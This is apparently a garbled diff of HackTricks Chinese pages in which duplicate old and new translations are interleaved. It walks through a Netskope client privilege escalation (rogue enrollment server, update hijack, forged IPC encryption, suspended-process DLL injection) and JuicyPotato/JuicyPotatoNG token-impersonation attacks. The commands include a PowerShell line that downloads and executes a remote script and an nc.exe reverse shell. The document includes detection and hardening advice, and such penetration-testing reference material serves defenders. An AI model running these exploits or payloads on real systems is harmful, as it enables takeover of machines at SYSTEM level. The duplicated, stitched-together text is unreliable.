- 规避弱签名校验(CN allow‑lists)、可选的 digest flags 和宽松的 MSI properties。
 | 
			
		||||
- 如果 IPC 是“encrypted”,从注册表中以全局可读方式存储的机器标识符推导出 key/IV。
 | 
			
		||||
- 如果服务通过 image path/process name 限制调用者,注入到一个 allow‑listed 进程,或以 suspended 方式创建一个进程并通过最小的线程上下文修补来 bootstrap 你的 DLL。
 | 
			
		||||
可以复用到类似产品的关键思路:
 | 
			
		||||
- 滥用特权服务的 localhost IPC,强制重新注册或重新配置到攻击者服务器。
 | 
			
		||||
- 实现厂商的 update endpoints,部署伪造的 Trusted Root CA,并将 updater 指向恶意的“签名”包。
 | 
			
		||||
- 绕过薄弱的签名者校验(CN allow‑lists)、可选的 digest 标志和宽松的 MSI 属性。
 | 
			
		||||
- 如果 IPC 是“encrypted”,可从注册表中可被所有人读取的机器标识派生 key/IV。
 | 
			
		||||
- 如果服务按 image path/process name 限制调用者,注入到被允许的进程或以 suspended 启动一个进程,然后通过最小的 thread‑context patch 引导你的 DLL。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 1) 通过 localhost IPC 强制注册到攻击者服务器
 | 
			
		||||
 | 
			
		||||
许多代理包含一个以用户模式运行的 UI 进程,该进程通过 localhost TCP 使用 JSON 与 SYSTEM 服务通信。
 | 
			
		||||
许多代理都会随附一个以用户模式运行的 UI 进程,该进程通过 localhost TCP 使用 JSON 与运行在 SYSTEM 的服务通信。
 | 
			
		||||
 | 
			
		||||
Observed in Netskope:
 | 
			
		||||
在 Netskope 中观察到:
 | 
			
		||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
 | 
			
		||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
 | 
			
		||||
 | 
			
		||||
Exploit flow:
 | 
			
		||||
1) 构造一个 JWT enrollment token,其 claims 控制后端主机(例如 AddonUrl)。使用 alg=None 以便不需要签名。
 | 
			
		||||
2) 发送 IPC 消息,调用 provisioning 命令并附带你的 JWT 和 tenant name:
 | 
			
		||||
利用流程:
 | 
			
		||||
1) 构造一个 JWT enrollment token,其 claims 控制后端主机(例如 AddonUrl)。使用 alg=None,因此不需要签名。
 | 
			
		||||
2) 发送调用 provisioning 命令的 IPC 消息,包含你的 JWT 和 tenant name:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"148": {
 | 
			
		||||
@ -31,88 +31,88 @@ Exploit flow:
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
3) 服务开始向你的恶意服务器请求 enrollment/config,例如:
 | 
			
		||||
3) 服务开始访问你的恶意服务器以进行 enrollment/config,例如:
 | 
			
		||||
- /v1/externalhost?service=enrollment
 | 
			
		||||
- /config/user/getbrandingbyemail
 | 
			
		||||
 | 
			
		||||
Notes:
 | 
			
		||||
- 如果调用者验证是基于路径/名称的,请从一个被允许的厂商二进制发起请求(参见 §4)。
 | 
			
		||||
- 如果调用者验证是基于 path/name‑based,则应从一个被允许的厂商二进制程序发起请求(见 §4)。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 2) Hijacking the update channel to run code as SYSTEM
 | 
			
		||||
 | 
			
		||||
一旦客户端与您的服务器通信,实现客户端期望的端点并将其引导到攻击者的 MSI。典型流程:
 | 
			
		||||
一旦客户端与您的服务器通信,实现预期的 endpoints 并引导它到攻击者的 MSI。典型流程:
 | 
			
		||||
 | 
			
		||||
1) /v2/config/org/clientconfig → 返回 JSON 配置,设置非常短的更新器间隔,例如:
 | 
			
		||||
1) /v2/config/org/clientconfig → 返回 JSON 配置,包含非常短的 updater 间隔,例如:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"clientUpdate": { "updateIntervalInMin": 1 },
 | 
			
		||||
"check_msi_digest": false
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
2) /config/ca/cert → 返回一个 PEM CA 证书。服务会将其安装到 Local Machine Trusted Root store。
 | 
			
		||||
3) /v2/checkupdate → 提供指向恶意 MSI 和伪造版本的元数据。
 | 
			
		||||
2) /config/ca/cert → 返回一个 PEM CA certificate。该服务将其安装到 Local Machine Trusted Root store。
 | 
			
		||||
3) /v2/checkupdate → 提供指向恶意 MSI 的元数据和一个伪造的版本。
 | 
			
		||||
 | 
			
		||||
Bypassing common checks seen in the wild:
 | 
			
		||||
- Signer CN allow‑list: 服务可能仅检查 Subject CN 是否等于 “netSkope Inc” 或 “Netskope, Inc.”。你的伪造 CA 可以为该 CN 签发一个 leaf 并签署 MSI。
 | 
			
		||||
- CERT_DIGEST property: 在 MSI 中包含名为 CERT_DIGEST 的良性属性。安装时没有强制执行。
 | 
			
		||||
- Optional digest enforcement: 配置标志(例如 check_msi_digest=false)会禁用额外的加密验证。
 | 
			
		||||
绕过野外常见检查:
 | 
			
		||||
- Signer CN allow‑list:服务可能只检查 Subject CN 是否等于 “netSkope Inc” 或 “Netskope, Inc.”。你的伪造 CA 可以签发一个具有该 CN 的 leaf 并签署 MSI。
 | 
			
		||||
- CERT_DIGEST property:包含一个名为 CERT_DIGEST 的良性 MSI 属性。安装时不强制执行。
 | 
			
		||||
- Optional digest enforcement:配置标志(例如 check_msi_digest=false)会禁用额外的密码学验证。
 | 
			
		||||
 | 
			
		||||
Result: SYSTEM 服务会从
 | 
			
		||||
结果:SYSTEM 服务会从
 | 
			
		||||
C:\ProgramData\Netskope\stAgent\data\*.msi
 | 
			
		||||
安装你的 MSI,以 NT AUTHORITY\SYSTEM 身份执行任意代码。
 | 
			
		||||
安装你的 MSI,并以 NT AUTHORITY\SYSTEM 身份执行任意代码。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 3) Forging encrypted IPC requests (when present)
 | 
			
		||||
 | 
			
		||||
From R127, Netskope 将 IPC JSON 包装在看起来像 Base64 的 encryptData 字段中。逆向分析显示使用 AES,key/IV 来自任何用户都可读的注册表值:
 | 
			
		||||
从 R127 开始,Netskope 将 IPC JSON 包装在看起来像 Base64 的 encryptData 字段中。逆向分析显示使用 AES,key/IV 来源于任何用户都可读取的注册表值:
 | 
			
		||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
 | 
			
		||||
- IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
 | 
			
		||||
 | 
			
		||||
攻击者可以复现该加密并以标准用户身份发送有效的加密命令。一般提示:如果代理突然“加密”其 IPC,请在 HKLM 下查找 device IDs、product GUIDs、install IDs 等作为密钥材料。
 | 
			
		||||
攻击者可以重现加密并从标准用户发送有效的加密命令。一般建议:如果代理突然对其 IPC “加密”,检查 HKLM 下的 device IDs、product GUIDs、install IDs 等作为密钥材料。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
 | 
			
		||||
 | 
			
		||||
一些服务通过解析 TCP 连接的 PID,并将镜像路径/名称与位于 Program Files 下的 allow‑listed 厂商二进制文件(例如 stagentui.exe、bwansvc.exe、epdlp.exe)进行比较来认证对端。
 | 
			
		||||
一些服务尝试通过解析 TCP 连接的 PID 并将映像路径/名称与位于 Program Files 下的允许列表厂商二进制(例如 stagentui.exe、bwansvc.exe、epdlp.exe)进行比对来认证对端。
 | 
			
		||||
 | 
			
		||||
两种实用的绕过方式:
 | 
			
		||||
- 对一个 allow‑listed 进程(例如 nsdiag.exe)进行 DLL 注入,并在其内部代理 IPC。
 | 
			
		||||
- 启动一个 allow‑listed 二进制并将其置于挂起状态,然后在不使用 CreateRemoteThread 的情况下引导你的代理 DLL(见 §5),以满足驱动强制的防篡改规则。
 | 
			
		||||
两个实用的绕过方法:
 | 
			
		||||
- 对一个允许列表进程(例如 nsdiag.exe)进行 DLL injection,并从其内部代理 IPC。
 | 
			
		||||
- 以挂起态启动一个允许列表二进制,并在不使用 CreateRemoteThread 的情况下引导你的代理 DLL(见 §5),以满足驱动强制的防篡改规则。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
 | 
			
		||||
 | 
			
		||||
产品通常会附带一个 minifilter/OB callbacks 驱动(例如 Stadrv)来从受保护进程的句柄中剥除危险权限:
 | 
			
		||||
- Process: 移除 PROCESS_TERMINATE、PROCESS_CREATE_THREAD、PROCESS_VM_READ、PROCESS_DUP_HANDLE、PROCESS_SUSPEND_RESUME
 | 
			
		||||
- Thread: 限制为 THREAD_GET_CONTEXT、THREAD_QUERY_LIMITED_INFORMATION、THREAD_RESUME、SYNCHRONIZE
 | 
			
		||||
产品常配备一个 minifilter/OB callbacks driver(例如 Stadrv)以从受保护进程的句柄中剥离危险权限:
 | 
			
		||||
- Process:移除 PROCESS_TERMINATE、PROCESS_CREATE_THREAD、PROCESS_VM_READ、PROCESS_DUP_HANDLE、PROCESS_SUSPEND_RESUME
 | 
			
		||||
- Thread:限制为 THREAD_GET_CONTEXT、THREAD_QUERY_LIMITED_INFORMATION、THREAD_RESUME、SYNCHRONIZE
 | 
			
		||||
 | 
			
		||||
一个可靠的遵守这些限制的用户模式加载器:
 | 
			
		||||
1) 使用 CREATE_SUSPENDED 创建一个厂商二进制的 CreateProcess。
 | 
			
		||||
2) 获取你仍被允许的句柄:对进程为 PROCESS_VM_WRITE | PROCESS_VM_OPERATION,对线程获取带有 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT 的句柄(或者如果在已知的 RIP 上修补代码,则只需要 THREAD_RESUME)。
 | 
			
		||||
3) 覆盖 ntdll!NtContinue(或其他早期、必然已映射的 thunk)为一个微小的 stub,该 stub 调用 LoadLibraryW 加载你的 DLL 路径,然后跳回原处。
 | 
			
		||||
4) ResumeThread 触发你在进程内的 stub,从而加载你的 DLL。
 | 
			
		||||
一个可靠的用户模式加载器,遵守这些限制的步骤:
 | 
			
		||||
1) CreateProcess 启动一个厂商二进制并使用 CREATE_SUSPENDED。
 | 
			
		||||
2) 获取你仍被允许的句柄:对进程为 PROCESS_VM_WRITE | PROCESS_VM_OPERATION,对线程为具有 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(或如果在已知 RIP 处打补丁,仅 THREAD_RESUME)。
 | 
			
		||||
3) 覆盖 ntdll!NtContinue(或其他早期、保证映射的 thunk)为一个小的存根,该存根对你的 DLL 路径调用 LoadLibraryW,然后跳回原处。
 | 
			
		||||
4) ResumeThread 触发你在进程内的存根,加载你的 DLL。
 | 
			
		||||
 | 
			
		||||
因为你从未对一个已被保护的进程使用 PROCESS_CREATE_THREAD 或 PROCESS_SUSPEND_RESUME(你是创建它的),驱动的策略得以满足。
 | 
			
		||||
因为你从未对一个已经受保护的进程使用 PROCESS_CREATE_THREAD 或 PROCESS_SUSPEND_RESUME(你是创建它的),驱动的策略被满足。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 6) Practical tooling
 | 
			
		||||
- NachoVPN (Netskope plugin) 自动化生成 rogue CA、恶意 MSI 签名,并提供所需端点:/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate。
 | 
			
		||||
- UpSkope 是一个定制的 IPC 客户端,用于构造任意(可选 AES‑encrypted)IPC 消息,并包含从 allow‑listed 二进制发起的 suspended‑process 注入。
 | 
			
		||||
- UpSkope 是一个自定义 IPC 客户端,可构造任意(可选 AES‑encrypted)IPC 消息,并包含挂起进程注入以使调用源自允许列表二进制。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 7) Detection opportunities (blue team)
 | 
			
		||||
- 监控对 Local Machine Trusted Root 的新增。Sysmon + registry‑mod 事件(参见 SpecterOps 指南)效果良好。
 | 
			
		||||
- 报警由代理服务触发、从类似 C:\ProgramData\<vendor>\<agent>\data\*.msi 路径执行的 MSI。
 | 
			
		||||
- 审查代理日志以查找异常的 enrollment hosts/tenants,例如:C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – 查找 addonUrl / tenant 异常以及 provisioning msg 148。
 | 
			
		||||
- 对不是预期签名二进制的本地 IPC 客户端,或起源于异常子进程树的客户端触发告警。
 | 
			
		||||
- 监控对 Local Machine Trusted Root 的添加。Sysmon + registry‑mod 事件(参见 SpecterOps guidance)效果良好。
 | 
			
		||||
- 标记由 agent 的 service 从类似 C:\ProgramData\<vendor>\<agent>\data\*.msi 路径发起的 MSI 执行。
 | 
			
		||||
- 检查 agent 日志中异常的 enrollment hosts/tenants,例如:C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – 查找 addonUrl / tenant 异常和 provisioning msg 148。
 | 
			
		||||
- 对非预期签名二进制或来自异常子进程树的 localhost IPC 客户端发出告警。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## Hardening tips for vendors
 | 
			
		||||
- 将 enrollment/update 主机绑定到严格的 allow‑list;在 client 代码中拒绝不受信任的域名。
 | 
			
		||||
- 使用操作系统原语对 IPC 对端进行认证(ALPC security、named‑pipe SIDs),而不是基于镜像路径/名称的检查。
 | 
			
		||||
- 不要将秘密材料放在所有用户可读的 HKLM;如果必须对 IPC 进行加密,应从受保护的密钥派生,或通过已认证的通道协商密钥。
 | 
			
		||||
- 将 updater 视为供应链攻击面:要求完整链到你控制的受信任 CA,针对固定密钥验证包签名,如果配置中禁用验证则采取 fail‑closed 策略。
 | 
			
		||||
- 将 enrollment/update 主机绑定到严格的 allow‑list;在 clientcode 中拒绝不受信任的域名。
 | 
			
		||||
- 使用 OS 原语(ALPC security、named‑pipe SIDs)对 IPC 对等方进行认证,而不是依赖映像路径/名称检查。
 | 
			
		||||
- 将秘密材料保存在不可全局读取的 HKLM 之外;如果必须对 IPC 加密,应从受保护的密钥派生或通过认证通道协商。
 | 
			
		||||
- 将 updater 视为供应链面:要求完整链至受信任的 CA(由你控制),使用 pinned keys 验证包签名,并在配置禁用验证时 fail closed。
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
 | 
			
		||||
 | 
			
		||||
@ -2,58 +2,58 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
> [!WARNING] > JuicyPotato 是遗留工具。它通常在 Windows 10 1803 / Windows Server 2016 及更早版本上有效。Microsoft 在 Windows 10 1809 / Server 2019 开始引入的强化更改破坏了原始技术。对于那些版本及更新的系统,请考虑使用更现代的替代方案,例如 PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato 等。请参见下方页面以获取最新的选项和用法。
 | 
			
		||||
> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
roguepotato-and-printspoofer.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
 | 
			
		||||
## Juicy Potato (滥用黄金权限) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
 | 
			
		||||
 | 
			
		||||
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
 | 
			
		||||
 | 
			
		||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
 | 
			
		||||
 | 
			
		||||
### 兼容性快速说明
 | 
			
		||||
### Compatibility quick notes
 | 
			
		||||
 | 
			
		||||
- 在当前上下文拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 时,对 Windows 10 1803 和 Windows Server 2016 及更早版本可靠。
 | 
			
		||||
- 在 Windows 10 1809 / Windows Server 2019 及以后版本被 Microsoft 的加固破坏。对于这些版本,优先使用上面链接的替代工具。
 | 
			
		||||
- 在当前上下文具有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 时,可在 Windows 10 1803 和 Windows Server 2016 上可靠运行。
 | 
			
		||||
- 在 Windows 10 1809 / Windows Server 2019 及更高版本中,被 Microsoft 的硬化措施破坏。对于这些版本,请优先使用上面链接的替代方案。
 | 
			
		||||
 | 
			
		||||
### 摘要 <a href="#summary" id="summary"></a>
 | 
			
		||||
### Summary <a href="#summary" id="summary"></a>
 | 
			
		||||
 | 
			
		||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
 | 
			
		||||
 | 
			
		||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
 | 
			
		||||
 | 
			
		||||
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
 | 
			
		||||
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **欢迎 Juicy Potato**.
 | 
			
		||||
 | 
			
		||||
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
 | 
			
		||||
 | 
			
		||||
我们发现,除了 `BITS` 之外,还有若干可以滥用的 COM 服务器。它们只需满足:
 | 
			
		||||
我们发现,除了 `BITS` 之外,还有若干可以滥用的 COM 服务。它们只需要满足:
 | 
			
		||||
 | 
			
		||||
1. 可由当前用户实例化,通常是具有模拟权限的“服务用户”
 | 
			
		||||
1. 当前用户可以实例化,通常是具有模拟权限的“service user”
 | 
			
		||||
2. 实现 `IMarshal` 接口
 | 
			
		||||
3. 以提升的用户身份运行(SYSTEM、Administrator 等)
 | 
			
		||||
3. 以提升的用户身份运行(SYSTEM、Administrator …)
 | 
			
		||||
 | 
			
		||||
经过一些测试,我们在多个 Windows 版本上收集并测试了大量[有趣的 CLSID](http://ohpe.it/juicy-potato/CLSID/)。
 | 
			
		||||
经过一些测试,我们在多个 Windows 版本上获得并测试了一个广泛的 [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) 列表。
 | 
			
		||||
 | 
			
		||||
### 详细说明 <a href="#juicy-details" id="juicy-details"></a>
 | 
			
		||||
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
 | 
			
		||||
 | 
			
		||||
JuicyPotato 允许你:
 | 
			
		||||
JuicyPotato allows you to:
 | 
			
		||||
 | 
			
		||||
- **Target CLSID** _选择任意你想要的 CLSID。_[_Here_](http://ohpe.it/juicy-potato/CLSID/) _你可以找到按操作系统组织的列表。_
 | 
			
		||||
- **COM Listening port** _定义你偏好的 COM 监听端口(而不是封装时硬编码的 6666)_
 | 
			
		||||
- **COM Listening IP address** _在任意 IP 上绑定服务器_
 | 
			
		||||
- **Process creation mode** _根据被模拟用户的权限,你可以选择:_
 | 
			
		||||
- `CreateProcessWithToken` (needs `SeImpersonate`)
 | 
			
		||||
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
 | 
			
		||||
- **Target CLSID** _选择任意 CLSID。_ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _你可以在此按操作系统查看组织好的列表。_
 | 
			
		||||
- **COM Listening port** _定义你偏好的 COM 监听端口(替代封送时硬编码的 6666)_
 | 
			
		||||
- **COM Listening IP address** _将服务器绑定到任意 IP_
 | 
			
		||||
- **Process creation mode** _根据被模拟用户的权限,你可以从以下方式中选择:_
 | 
			
		||||
- `CreateProcessWithToken` (需要 `SeImpersonate`)
 | 
			
		||||
- `CreateProcessAsUser` (需要 `SeAssignPrimaryToken`)
 | 
			
		||||
- `both`
 | 
			
		||||
- **Process to launch** _如果利用成功,启动可执行文件或脚本_
 | 
			
		||||
- **Process Argument** _自定义启动进程的参数_
 | 
			
		||||
- **RPC Server address** _为了更隐蔽的方法,你可以向外部 RPC 服务器进行认证_
 | 
			
		||||
- **RPC Server port** _如果你想认证到外部服务器且防火墙拦截了端口 `135`,此项有用…_
 | 
			
		||||
- **TEST mode** _主要用于测试目的,例如测试 CLSID。它会创建 DCOM 并打印 token 的用户。见_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
 | 
			
		||||
- **RPC Server address** _用于更隐蔽的方式,你可以向外部 RPC 服务器进行身份验证_
 | 
			
		||||
- **RPC Server port** _当你想要向外部服务器进行身份验证但防火墙阻止端口 `135` 时很有用…_
 | 
			
		||||
- **TEST mode** _主要用于测试目的,例如测试 CLSID。它会创建 DCOM 并打印令牌的用户。参见_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
 | 
			
		||||
 | 
			
		||||
### Usage <a href="#usage" id="usage"></a>
 | 
			
		||||
```
 | 
			
		||||
@ -72,31 +72,31 @@ Optional args:
 | 
			
		||||
-k <ip>: RPC server ip address (default 127.0.0.1)
 | 
			
		||||
-n <port>: RPC server listen port (default 135)
 | 
			
		||||
```
 | 
			
		||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
 | 
			
		||||
### 结语 <a href="#final-thoughts" id="final-thoughts"></a>
 | 
			
		||||
 | 
			
		||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 | 
			
		||||
[**摘自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 | 
			
		||||
 | 
			
		||||
如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 特权,那么你就是 **SYSTEM**。
 | 
			
		||||
如果用户具有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限,那么你就是 **SYSTEM**。
 | 
			
		||||
 | 
			
		||||
几乎不可能完全阻止对这些 COM Servers 的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这将非常具有挑战性。
 | 
			
		||||
几乎不可能阻止对所有这些 COM Servers 的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这会很有挑战性。
 | 
			
		||||
 | 
			
		||||
实际的解决方案是保护在 `* SERVICE` 帐户下运行的敏感帐户和应用程序。停止 `DCOM` 确实会抑制此类利用,但可能对底层操作系统造成严重影响。
 | 
			
		||||
实际的解决办法是保护运行在 `* SERVICE` 账户下的敏感账户和应用程序。停止 `DCOM` 确实可以抑制该漏洞利用,但可能会对底层操作系统产生严重影响。
 | 
			
		||||
 | 
			
		||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
 | 
			
		||||
 | 
			
		||||
## JuicyPotatoNG (2022+)
 | 
			
		||||
 | 
			
		||||
JuicyPotatoNG 通过组合以下方法,在现代 Windows 上重新引入了 JuicyPotato-style 的本地提权:
 | 
			
		||||
JuicyPotatoNG 通过组合以下方法,在现代 Windows 上重新引入了 JuicyPotato 风格的本地权限提升:
 | 
			
		||||
 | 
			
		||||
- DCOM OXID resolution 到选定端口上的本地 RPC server,避免以前硬编码的 127.0.0.1:6666 监听器。
 | 
			
		||||
- 使用 SSPI hook 捕获并模拟入站的 SYSTEM 认证,而无需 RpcImpersonateClient,这也使得在仅存在 SeAssignPrimaryTokenPrivilege 时能够使用 CreateProcessAsUser。
 | 
			
		||||
- 满足 DCOM 激活约束的技巧(例如,针对 PrintNotify / ActiveX Installer Service classes 时之前的 INTERACTIVE-group 要求)。
 | 
			
		||||
- 将 DCOM OXID 解析到所选端口的本地 RPC 服务器,避免使用旧的硬编码 127.0.0.1:6666 监听器。
 | 
			
		||||
- 一个 SSPI hook,用于捕获并模拟传入的 SYSTEM 认证,而无需 RpcImpersonateClient,这也在仅存在 SeAssignPrimaryTokenPrivilege 时启用了 CreateProcessAsUser。
 | 
			
		||||
- 用于满足 DCOM 激活约束的技巧(例如,针对 PrintNotify / ActiveX Installer Service 类时此前的 INTERACTIVE 组要求)。
 | 
			
		||||
 | 
			
		||||
重要说明(随各版本行为演变):
 | 
			
		||||
- 2022 年 9 月:初始技术使用 “INTERACTIVE trick” 在受支持的 Windows 10/11 和 Server 目标上有效。
 | 
			
		||||
- 2023 年 1 月作者更新:Microsoft 随后阻止了 INTERACTIVE trick。不同的 CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) 恢复了利用,但根据他们的帖子仅在 Windows 11 / Server 2022 上有效。
 | 
			
		||||
重要说明(不同版本行为会演变):
 | 
			
		||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
 | 
			
		||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
 | 
			
		||||
 | 
			
		||||
Basic usage (more flags in the help):
 | 
			
		||||
基本用法(更多参数见帮助):
 | 
			
		||||
```
 | 
			
		||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 | 
			
		||||
# Useful helpers:
 | 
			
		||||
@ -104,11 +104,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 | 
			
		||||
#  -s  Scan for a COM port not filtered by Windows Defender Firewall
 | 
			
		||||
#  -i  Interactive console (only with CreateProcessAsUser)
 | 
			
		||||
```
 | 
			
		||||
如果你的目标是已对经典 JuicyPotato 修补的 Windows 10 1809 / Server 2019,优先使用顶部链接的替代方案(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)。NG 的效果可能视具体的构建版本和服务状态而定。
 | 
			
		||||
如果你的目标是 Windows 10 1809 / Server 2019,并且 classic JuicyPotato 已被修补,建议优先使用顶部链接的替代工具(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)。NG 可能因构建版本和服务状态而有不同表现。
 | 
			
		||||
 | 
			
		||||
## 示例
 | 
			
		||||
 | 
			
		||||
注意:访问 [this page](https://ohpe.it/juicy-potato/CLSID/) 获取可尝试的 CLSID 列表。
 | 
			
		||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
 | 
			
		||||
 | 
			
		||||
### 获取 nc.exe reverse shell
 | 
			
		||||
```
 | 
			
		||||
@ -123,17 +123,17 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
 | 
			
		||||
 | 
			
		||||
c:\Users\Public>
 | 
			
		||||
```
 | 
			
		||||
### Powershell 反向
 | 
			
		||||
### Powershell rev
 | 
			
		||||
```
 | 
			
		||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
 | 
			
		||||
```
 | 
			
		||||
### 启动一个新的 CMD(如果你有 RDP 访问)
 | 
			
		||||
### 启动新的 CMD(如果你有 RDP 访问)
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
## CLSID 问题
 | 
			
		||||
 | 
			
		||||
通常 JuicyPotato 使用的默认 CLSID **不起作用**,exploit 会失败。通常需要多次尝试才能找到一个**有效的 CLSID**。要获取针对特定操作系统的 CLSID 列表,请访问此页面:
 | 
			
		||||
通常,JuicyPotato 使用的默认 CLSID **不起作用**,漏洞利用会失败。通常需要多次尝试才能找到一个 **可用的 CLSID**。要获取针对特定操作系统可尝试的 CLSID 列表,请访问此页面:
 | 
			
		||||
 | 
			
		||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
 | 
			
		||||
 | 
			
		||||
@ -141,13 +141,13 @@ c:\Users\Public>
 | 
			
		||||
 | 
			
		||||
首先,除了 juicypotato.exe,你还需要一些可执行文件。
 | 
			
		||||
 | 
			
		||||
下载 Join-Object.ps1 并将其加载到你的 PS 会话中,然后下载并执行 GetCLSID.ps1。该脚本会生成一个可供测试的 CLSID 列表。
 | 
			
		||||
下载 [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) 并将其加载到你的 PS 会话中,然后下载并执行 [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)。该脚本会生成一个要测试的可能 CLSID 列表。
 | 
			
		||||
 | 
			
		||||
然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(修改到 CLSID 列表和到 juicypotato 可执行文件 的路径) 并执行它。它会开始尝试每个 CLSID,**当端口号改变时,表示该 CLSID 生效**。
 | 
			
		||||
然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(更改指向 CLSID 列表和 juicypotato 可执行文件 的路径)并执行它。它会开始尝试每个 CLSID,**当端口号改变时,表示该 CLSID 生效**。
 | 
			
		||||
 | 
